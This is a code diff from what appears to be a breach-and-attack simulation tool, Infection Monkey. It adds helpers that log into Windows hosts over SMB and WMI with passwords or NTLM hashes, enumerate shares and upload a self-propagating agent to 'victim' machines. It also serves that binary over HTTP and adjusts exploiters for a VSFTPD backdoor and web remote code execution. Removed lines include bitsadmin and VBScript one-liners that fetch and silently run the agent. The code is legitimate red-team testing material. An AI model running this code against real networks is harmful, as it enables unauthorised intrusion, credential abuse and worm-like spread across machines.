||||
if not local_ip:
|
||||
local_ip = get_interface_to_target(host.ip_addr)
|
||||
|
||||
if not firewall.listen_allowed():
|
||||
LOG.error("Firewall is not allowed to listen for incomming ports. Aborting")
|
||||
return None, None
|
||||
|
||||
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
|
||||
httpd.start()
|
||||
lock.acquire()
|
||||
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
|
||||
|
||||
|
||||
class MonkeyHTTPServer(HTTPTools):
|
||||
def __init__(self, host):
|
||||
super(MonkeyHTTPServer, self).__init__()
|
||||
self.http_path = None
|
||||
self.http_thread = None
|
||||
self.host = host
|
||||
|
||||
def start(self):
|
||||
# Get monkey exe for host and it's path
|
||||
src_path = try_get_target_monkey(self.host)
|
||||
self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer(self.host, src_path)
|
||||
|
||||
def stop(self):
|
||||
if not self.http_path or not self.http_thread:
|
||||
raise RuntimeError("Can't stop http server that wasn't started!")
|
||||
self.http_thread.join(DOWNLOAD_TIMEOUT)
|
||||
self.http_thread.stop()
|
|
@ -0,0 +1,63 @@
|
|||
import logging
|
||||
import textwrap
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class Payload(object):
|
||||
"""
|
||||
Class for defining and parsing a payload (commands with prefixes/suffixes)
|
||||
"""
|
||||
|
||||
def __init__(self, command, prefix="", suffix=""):
|
||||
self.command = command
|
||||
self.prefix = prefix
|
||||
self.suffix = suffix
|
||||
|
||||
def get_payload(self, command=""):
|
||||
"""
|
||||
Returns prefixed and suffixed command (payload)
|
||||
:param command: Command to suffix/prefix. If no command is passed than objects' property is used
|
||||
:return: prefixed and suffixed command (full payload)
|
||||
"""
|
||||
if not command:
|
||||
command = self.command
|
||||
return "{}{}{}".format(self.prefix, command, self.suffix)
|
||||
|
||||
|
||||
class LimitedSizePayload(Payload):
|
||||
"""
|
||||
Class for defining and parsing commands/payloads
|
||||
"""
|
||||
|
||||
def __init__(self, command, max_length, prefix="", suffix=""):
|
||||
"""
|
||||
:param command: command
|
||||
:param max_length: max length that payload(prefix + command + suffix) can have
|
||||
:param prefix: commands prefix
|
||||
:param suffix: commands suffix
|
||||
"""
|
||||
super(LimitedSizePayload, self).__init__(command, prefix, suffix)
|
||||
self.max_length = max_length
|
||||
|
||||
def is_suffix_and_prefix_too_long(self):
|
||||
return self.payload_is_too_long(self.suffix + self.prefix)
|
||||
|
||||
def split_into_array_of_smaller_payloads(self):
|
||||
if self.is_suffix_and_prefix_too_long():
|
||||
raise Exception("Can't split command into smaller sub-commands because commands' prefix and suffix already "
|
||||
"exceeds required length of command.")
|
||||
|
||||
elif self.command == "":
|
||||
return [self.prefix+self.suffix]
|
||||
wrapper = textwrap.TextWrapper(drop_whitespace=False, width=self.get_max_sub_payload_length())
|
||||
commands = [self.get_payload(part)
|
||||
for part
|
||||
in wrapper.wrap(self.command)]
|
||||
return commands
|
||||
|
||||
def get_max_sub_payload_length(self):
|
||||
return self.max_length - len(self.prefix) - len(self.suffix)
|
||||
|
||||
def payload_is_too_long(self, command):
|
||||
return len(command) >= self.max_length
|
|
@ -0,0 +1,32 @@
|
|||
from unittest import TestCase
|
||||
from payload_parsing import Payload, LimitedSizePayload
|
||||
|
||||
|
||||
class TestPayload(TestCase):
|
||||
def test_get_payload(self):
|
||||
test_str1 = "abc"
|
||||
test_str2 = "atc"
|
||||
payload = Payload(command="b", prefix="a", suffix="c")
|
||||
assert payload.get_payload() == test_str1 and payload.get_payload("t") == test_str2
|
||||
|
||||
def test_is_suffix_and_prefix_too_long(self):
|
||||
pld_fail = LimitedSizePayload("b", 2, "a", "c")
|
||||
pld_success = LimitedSizePayload("b", 3, "a", "c")
|
||||
assert pld_fail.is_suffix_and_prefix_too_long() and not pld_success.is_suffix_and_prefix_too_long()
|
||||
|
||||
def test_split_into_array_of_smaller_payloads(self):
|
||||
test_str1 = "123456789"
|
||||
pld1 = LimitedSizePayload(test_str1, max_length=16, prefix="prefix", suffix="suffix")
|
||||
array1 = pld1.split_into_array_of_smaller_payloads()
|
||||
test1 = bool(array1[0] == "prefix1234suffix" and
|
||||
array1[1] == "prefix5678suffix" and
|
||||
array1[2] == "prefix9suffix")
|
||||
|
||||
test_str2 = "12345678"
|
||||
pld2 = LimitedSizePayload(test_str2, max_length=16, prefix="prefix", suffix="suffix")
|
||||
array2 = pld2.split_into_array_of_smaller_payloads()
|
||||
test2 = bool(array2[0] == "prefix1234suffix" and
|
||||
array2[1] == "prefix5678suffix" and len(array2) == 2)
|
||||
|
||||
assert test1 and test2
|
||||
|
|
@ -0,0 +1,223 @@
|
|||
import logging
|
||||
import ntpath
|
||||
import pprint
|
||||
|
||||
from impacket.dcerpc.v5 import transport, srvs
|
||||
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
|
||||
from impacket.smbconnection import SMBConnection, SMB_DIALECT
|
||||
|
||||
import infection_monkey.config
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class SmbTools(object):
|
||||
|
||||
@staticmethod
|
||||
def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
|
||||
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
|
||||
config = infection_monkey.config.WormConfiguration
|
||||
src_file_size = monkeyfs.getsize(src_path)
|
||||
|
||||
smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
|
||||
if not smb:
|
||||
return None
|
||||
|
||||
# skip guest users
|
||||
if smb.isGuestSession() > 0:
|
||||
LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s',"
|
||||
" LM hash: %s, NTLM hash: %s",
|
||||
host, username, password, lm_hash, ntlm_hash)
|
||||
|
||||
try:
|
||||
smb.logoff()
|
||||
except:
|
||||
pass
|
||||
|
||||
return None
|
||||
|
||||
try:
|
||||
resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error requesting server info from %r over SMB: %s",
|
||||
host, exc)
|
||||
return None
|
||||
|
||||
info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
|
||||
'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
|
||||
'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "),
|
||||
'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "),
|
||||
'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "),
|
||||
'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']}
|
||||
|
||||
LOG.debug("Connected to %r using %s:\n%s",
|
||||
host, dialect, pprint.pformat(info))
|
||||
|
||||
try:
|
||||
resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error enumerating server shares from %r over SMB: %s",
|
||||
host, exc)
|
||||
return None
|
||||
|
||||
resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer']
|
||||
|
||||
high_priority_shares = ()
|
||||
low_priority_shares = ()
|
||||
file_name = ntpath.split(dst_path)[-1]
|
||||
|
||||
for i in range(len(resp)):
|
||||
share_name = resp[i]['shi2_netname'].strip("\0 ")
|
||||
share_path = resp[i]['shi2_path'].strip("\0 ")
|
||||
current_uses = resp[i]['shi2_current_uses']
|
||||
max_uses = resp[i]['shi2_max_uses']
|
||||
|
||||
if current_uses >= max_uses:
|
||||
LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded",
|
||||
share_name, host)
|
||||
continue
|
||||
elif not share_path:
|
||||
LOG.debug("Skipping share '%s' on victim %r because share path is invalid",
|
||||
share_name, host)
|
||||
continue
|
||||
|
||||
share_info = {'share_name': share_name,
|
||||
'share_path': share_path}
|
||||
|
||||
if dst_path.lower().startswith(share_path.lower()):
|
||||
high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),)
|
||||
|
||||
low_priority_shares += ((ntpath.sep + file_name, share_info),)
|
||||
|
||||
shares = high_priority_shares + low_priority_shares
|
||||
|
||||
file_uploaded = False
|
||||
for remote_path, share in shares:
|
||||
share_name = share['share_name']
|
||||
share_path = share['share_path']
|
||||
|
||||
if not smb:
|
||||
smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
|
||||
if not smb:
|
||||
return None
|
||||
|
||||
try:
|
||||
tid = smb.connectTree(share_name)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
|
||||
share_name, host, exc)
|
||||
continue
|
||||
|
||||
LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
|
||||
share_name, share_path, remote_path, host.ip_addr[0], )
|
||||
|
||||
remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
|
||||
|
||||
# check if file is found on destination
|
||||
if config.skip_exploit_if_file_exist:
|
||||
try:
|
||||
file_info = smb.listPath(share_name, remote_path)
|
||||
if file_info:
|
||||
if src_file_size == file_info[0].get_filesize():
|
||||
LOG.debug("Remote monkey file is same as source, skipping copy")
|
||||
return remote_full_path
|
||||
|
||||
LOG.debug("Remote monkey file is found but different, moving along with attack")
|
||||
except:
|
||||
pass # file isn't found on remote victim, moving on
|
||||
|
||||
try:
|
||||
with monkeyfs.open(src_path, 'rb') as source_file:
|
||||
# make sure of the timeout
|
||||
smb.setTimeout(timeout)
|
||||
smb.putFile(share_name, remote_path, source_file.read)
|
||||
|
||||
file_uploaded = True
|
||||
T1105Telem(ScanStatus.USED,
|
||||
get_interface_to_target(host.ip_addr),
|
||||
host.ip_addr,
|
||||
dst_path).send()
|
||||
LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
|
||||
src_path, share_name, share_path, host)
|
||||
|
||||
break
|
||||
except Exception as exc:
|
||||
LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
|
||||
share_name, host, exc)
|
||||
T1105Telem(ScanStatus.SCANNED,
|
||||
get_interface_to_target(host.ip_addr),
|
||||
host.ip_addr,
|
||||
dst_path).send()
|
||||
continue
|
||||
finally:
|
||||
try:
|
||||
smb.logoff()
|
||||
except:
|
||||
pass
|
||||
|
||||
smb = None
|
||||
|
||||
if not file_uploaded:
|
||||
LOG.debug("Couldn't find a writable share for exploiting"
|
||||
" victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s",
|
||||
host, username, password, lm_hash, ntlm_hash)
|
||||
return None
|
||||
|
||||
return remote_full_path
|
||||
|
||||
@staticmethod
|
||||
def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
|
||||
try:
|
||||
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
|
||||
except Exception as exc:
|
||||
LOG.debug("SMB connection to %r on port 445 failed,"
|
||||
" trying port 139 (%s)", host, exc)
|
||||
|
||||
try:
|
||||
smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
|
||||
except Exception as exc:
|
||||
LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
|
||||
host, exc)
|
||||
return None, None
|
||||
|
||||
dialect = {SMB_DIALECT: "SMBv1",
|
||||
SMB2_DIALECT_002: "SMBv2.0",
|
||||
SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0")
|
||||
|
||||
# we know this should work because the WMI connection worked
|
||||
try:
|
||||
smb.login(username, password, '', lm_hash, ntlm_hash)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s",
|
||||
host, username, password, lm_hash, ntlm_hash, exc)
|
||||
return None, dialect
|
||||
|
||||
smb.setTimeout(timeout)
|
||||
return smb, dialect
|
||||
|
||||
@staticmethod
|
||||
def execute_rpc_call(smb, rpc_func, *args):
|
||||
dce = SmbTools.get_dce_bind(smb)
|
||||
rpc_method_wrapper = getattr(srvs, rpc_func, None)
|
||||
if not rpc_method_wrapper:
|
||||
raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,))
|
||||
|
||||
return rpc_method_wrapper(dce, *args)
|
||||
|
||||
@staticmethod
|
||||
def get_dce_bind(smb):
|
||||
rpctransport = transport.SMBTransport(smb.getRemoteHost(),
|
||||
smb.getRemoteHost(),
|
||||
filename=r'\srvsvc',
|
||||
smb_connection=smb)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.connect()
|
||||
dce.bind(srvs.MSRPC_UUID_SRVS)
|
||||
|
||||
return dce
|
|
@ -0,0 +1,150 @@
|
|||
import logging
|
||||
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class DceRpcException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
class AccessDeniedException(Exception):
|
||||
def __init__(self, host, username, password, domain):
|
||||
super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
|
||||
(host, domain, username, password))
|
||||
|
||||
|
||||
class WmiTools(object):
|
||||
class WmiConnection(object):
|
||||
def __init__(self):
|
||||
self._dcom = None
|
||||
self._iWbemServices = None
|
||||
|
||||
@property
|
||||
def connected(self):
|
||||
return self._dcom is not None
|
||||
|
||||
def connect(self, host, username, password, domain=None, lmhash="", nthash=""):
|
||||
if not domain:
|
||||
domain = host.ip_addr
|
||||
|
||||
dcom = DCOMConnection(host.ip_addr,
|
||||
username=username,
|
||||
password=password,
|
||||
domain=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
oxidResolver=True)
|
||||
|
||||
try:
|
||||
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
|
||||
wmi.IID_IWbemLevel1Login)
|
||||
except Exception as exc:
|
||||
dcom.disconnect()
|
||||
|
||||
if "rpc_s_access_denied" == exc.message:
|
||||
raise AccessDeniedException(host, username, password, domain)
|
||||
|
||||
raise
|
||||
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
||||
|
||||
try:
|
||||
self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
|
||||
self._dcom = dcom
|
||||
except:
|
||||
dcom.disconnect()
|
||||
|
||||
raise
|
||||
finally:
|
||||
iWbemLevel1Login.RemRelease()
|
||||
|
||||
def close(self):
|
||||
assert self.connected, "WmiConnection isn't connected"
|
||||
|
||||
self._iWbemServices.RemRelease()
|
||||
self._iWbemServices = None
|
||||
|
||||
self._dcom.disconnect()
|
||||
self._dcom = None
|
||||
|
||||
@staticmethod
|
||||
def dcom_wrap(func):
|
||||
def _wrapper(*args, **kwarg):
|
||||
try:
|
||||
return func(*args, **kwarg)
|
||||
finally:
|
||||
WmiTools.dcom_cleanup()
|
||||
|
||||
return _wrapper
|
||||
|
||||
@staticmethod
|
||||
def dcom_cleanup():
|
||||
for port_map in DCOMConnection.PORTMAPS.keys():
|
||||
del DCOMConnection.PORTMAPS[port_map]
|
||||
for oid_set in DCOMConnection.OID_SET.keys():
|
||||
del DCOMConnection.OID_SET[port_map]
|
||||
|
||||
DCOMConnection.OID_SET = {}
|
||||
DCOMConnection.PORTMAPS = {}
|
||||
if DCOMConnection.PINGTIMER:
|
||||
DCOMConnection.PINGTIMER.cancel()
|
||||
DCOMConnection.PINGTIMER.join()
|
||||
DCOMConnection.PINGTIMER = None
|
||||
|
||||
@staticmethod
|
||||
def get_object(wmi_connection, object_name):
|
||||
assert isinstance(wmi_connection, WmiTools.WmiConnection)
|
||||
assert wmi_connection.connected, "WmiConnection isn't connected"
|
||||
|
||||
return wmi_connection._iWbemServices.GetObject(object_name)[0]
|
||||
|
||||
@staticmethod
|
||||
def list_object(wmi_connection, object_name, fields=None, where=None):
|
||||
assert isinstance(wmi_connection, WmiTools.WmiConnection)
|
||||
assert wmi_connection.connected, "WmiConnection isn't connected"
|
||||
|
||||
if fields:
|
||||
fields_query = ",".join(fields)
|
||||
else:
|
||||
fields_query = "*"
|
||||
|
||||
wql_query = "SELECT %s FROM %s" % (fields_query, object_name)
|
||||
|
||||
if where:
|
||||
wql_query += " WHERE %s" % (where,)
|
||||
|
||||
LOG.debug("Execution WQL query: %r", wql_query)
|
||||
|
||||
iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query)
|
||||
|
||||
query = []
|
||||
try:
|
||||
while True:
|
||||
try:
|
||||
next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0]
|
||||
record = next_item.getProperties()
|
||||
|
||||
if not fields:
|
||||
fields = record.keys()
|
||||
|
||||
query_record = {}
|
||||
for key in fields:
|
||||
query_record[key] = record[key]['value']
|
||||
|
||||
query.append(query_record)
|
||||
except DCERPCSessionError as exc:
|
||||
if 1 == exc.error_code:
|
||||
break
|
||||
|
||||
raise
|
||||
finally:
|
||||
iEnumWbemClassObject.RemRelease()
|
||||
|
||||
return query
|
|
@ -6,12 +6,16 @@
|
|||
|
||||
import socket
|
||||
import time
|
||||
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||
from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.helpers import get_target_monkey, build_monkey_commandline, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT
|
||||
from logging import getLogger
|
||||
|
||||
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
||||
|
||||
LOG = getLogger(__name__)
|
||||
|
||||
__author__ = 'D3fa1t'
|
||||
|
@ -125,6 +129,7 @@ class VSFTPDExploiter(HostExploiter):
|
|||
change_permission = str.encode(str(change_permission) + '\n')
|
||||
LOG.info("change_permission command is %s", change_permission)
|
||||
backdoor_socket.send(change_permission)
|
||||
T1222Telem(ScanStatus.USED, change_permission, self.host).send()
|
||||
|
||||
# Run monkey on the machine
|
||||
parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||
|
|
|
@ -5,10 +5,12 @@ from abc import abstractmethod
|
|||
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.model import *
|
||||
from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools
|
||||
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service
|
||||
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
|
||||
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
|
||||
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
||||
|
@ -307,7 +309,7 @@ class WebRCE(HostExploiter):
|
|||
"""
|
||||
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
|
||||
LOG.info("Powershell not found in host. Using bitsadmin to download.")
|
||||
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
|
||||
backup_command = BITSADMIN_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
|
||||
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
|
||||
resp = self.exploit(url, backup_command)
|
||||
return resp
|
||||
|
@ -366,8 +368,10 @@ class WebRCE(HostExploiter):
|
|||
command = CHMOD_MONKEY % {'monkey_path': path}
|
||||
try:
|
||||
resp = self.exploit(url, command)
|
||||
T1222Telem(ScanStatus.USED, command, self.host).send()
|
||||
except Exception as e:
|
||||
LOG.error("Something went wrong while trying to change permission: %s" % e)
|
||||
T1222Telem(ScanStatus.SCANNED, "", self.host).send()
|
||||
return False
|
||||
# If exploiter returns True / False
|
||||
if isinstance(resp, bool):
|
||||
|
|
|
@ -9,7 +9,9 @@ from http.server import BaseHTTPRequestHandler, HTTPServer
|
|||
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target
|
||||
from infection_monkey.exploit.tools.helpers import get_interface_to_target
|
||||
from infection_monkey.network.info import get_free_tcp_port
|
||||
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
|
||||
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
|
|
@ -14,11 +14,11 @@ from enum import IntEnum
|
|||
from impacket import uuid
|
||||
from impacket.dcerpc.v5 import transport
|
||||
|
||||
from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
|
||||
from infection_monkey.exploit.tools.smb_tools import SmbTools
|
||||
from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
|
||||
from infection_monkey.network import SMBFinger
|
||||
from infection_monkey.network.tools import check_tcp_port
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||
from . import HostExploiter
|
||||
|
||||
LOG = getLogger(__name__)
|
||||
|
|
|
@ -6,8 +6,11 @@ import traceback
|
|||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, \
|
||||
from infection_monkey.exploit.tools.helpers import get_target_monkey, \
|
||||
get_monkey_depth, build_monkey_commandline
|
||||
from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException
|
||||
from infection_monkey.exploit.tools.smb_tools import SmbTools
|
||||
from infection_monkey.exploit.tools.wmi_tools import WmiTools
|
||||
from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
|
||||
|
@ -33,8 +36,10 @@ class WmiExploiter(HostExploiter):
|
|||
creds = self._config.get_exploit_user_password_or_hash_product()
|
||||
|
||||
for user, password, lm_hash, ntlm_hash in creds:
|
||||
LOG.debug("Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
|
||||
self.host, user, password, lm_hash, ntlm_hash)
|
||||
password_hashed = self._config.hash_sensitive_data(password)
|
||||
LOG.debug("Attempting to connect %r using WMI with "
|
||||
"user,password (SHA-512),lm hash,ntlm hash: ('%s','%s','%s','%s')",
|
||||
self.host, user, password_hashed, lm_hash, ntlm_hash)
|
||||
|
||||
wmi_connection = WmiTools.WmiConnection()
|
||||
|
||||
|
@ -44,23 +49,23 @@ class WmiExploiter(HostExploiter):
|
|||
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
|
||||
LOG.debug("Failed connecting to %r using WMI with "
|
||||
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
|
||||
self.host, user, password, lm_hash, ntlm_hash)
|
||||
self.host, user, password_hashed, lm_hash, ntlm_hash)
|
||||
continue
|
||||
except DCERPCException:
|
||||
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
|
||||
LOG.debug("Failed connecting to %r using WMI with "
|
||||
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
|
||||
self.host, user, password, lm_hash, ntlm_hash)
|
||||
self.host, user, password_hashed, lm_hash, ntlm_hash)
|
||||
continue
|
||||
except socket.error:
|
||||
LOG.debug("Network error in WMI connection to %r with "
|
||||
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
|
||||
self.host, user, password, lm_hash, ntlm_hash)
|
||||
self.host, user, password_hashed, lm_hash, ntlm_hash)
|
||||
return False
|
||||
except Exception as exc:
|
||||
LOG.debug("Unknown WMI connection error to %r with "
|
||||
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s",
|
||||
self.host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc())
|
||||
self.host, user, password_hashed, lm_hash, ntlm_hash, exc, traceback.format_exc())
|
||||
return False
|
||||
|
||||
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
|
||||
|
@ -91,7 +96,8 @@ class WmiExploiter(HostExploiter):
|
|||
# execute the remote dropper in case the path isn't final
|
||||
elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
|
||||
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
|
||||
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
|
||||
build_monkey_commandline(
|
||||
self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
|
||||
else:
|
||||
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
|
||||
build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||
|
@ -118,3 +124,4 @@ class WmiExploiter(HostExploiter):
|
|||
return success
|
||||
|
||||
return False
|
||||
|
||||
|
|
|
@ -8,7 +8,7 @@ import os
|
|||
import sys
|
||||
import traceback
|
||||
|
||||
import infection_monkey.utils as utils
|
||||
from infection_monkey.utils.monkey_log_path import get_dropper_log_path, get_monkey_log_path
|
||||
from infection_monkey.config import WormConfiguration, EXTERNAL_CONFIG_FILE
|
||||
from infection_monkey.dropper import MonkeyDrops
|
||||
from infection_monkey.model import MONKEY_ARG, DROPPER_ARG
|
||||
|
@ -68,7 +68,7 @@ def main():
|
|||
else:
|
||||
print("Config file wasn't supplied and default path: %s wasn't found, using internal default" % (config_file,))
|
||||
|
||||
print("Loaded Configuration: %r" % WormConfiguration.as_dict())
|
||||
print("Loaded Configuration: %r" % WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()))
|
||||
|
||||
# Make sure we're not in a machine that has the kill file
|
||||
kill_path = os.path.expandvars(
|
||||
|
@ -79,10 +79,10 @@ def main():
|
|||
|
||||
try:
|
||||
if MONKEY_ARG == monkey_mode:
|
||||
log_path = utils.get_monkey_log_path()
|
||||
log_path = get_monkey_log_path()
|
||||
monkey_cls = InfectionMonkey
|
||||
elif DROPPER_ARG == monkey_mode:
|
||||
log_path = utils.get_dropper_log_path()
|
||||
log_path = get_dropper_log_path()
|
||||
monkey_cls = MonkeyDrops
|
||||
else:
|
||||
return True
|
||||
|
@ -127,8 +127,8 @@ def main():
|
|||
json.dump(json_dict, config_fo, skipkeys=True, sort_keys=True, indent=4, separators=(',', ': '))
|
||||
|
||||
return True
|
||||
except Exception:
|
||||
LOG.exception("Exception thrown from monkey's start function")
|
||||
except Exception as e:
|
||||
LOG.exception("Exception thrown from monkey's start function. More info: {}".format(e))
|
||||
finally:
|
||||
monkey.cleanup()
|
||||
|
||||
|
|
|
@ -12,14 +12,12 @@ GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
|
|||
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
|
||||
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
|
||||
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, )
|
||||
RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, )
|
||||
RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )
|
||||
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
|
||||
|
||||
# Commands used for downloading monkeys
|
||||
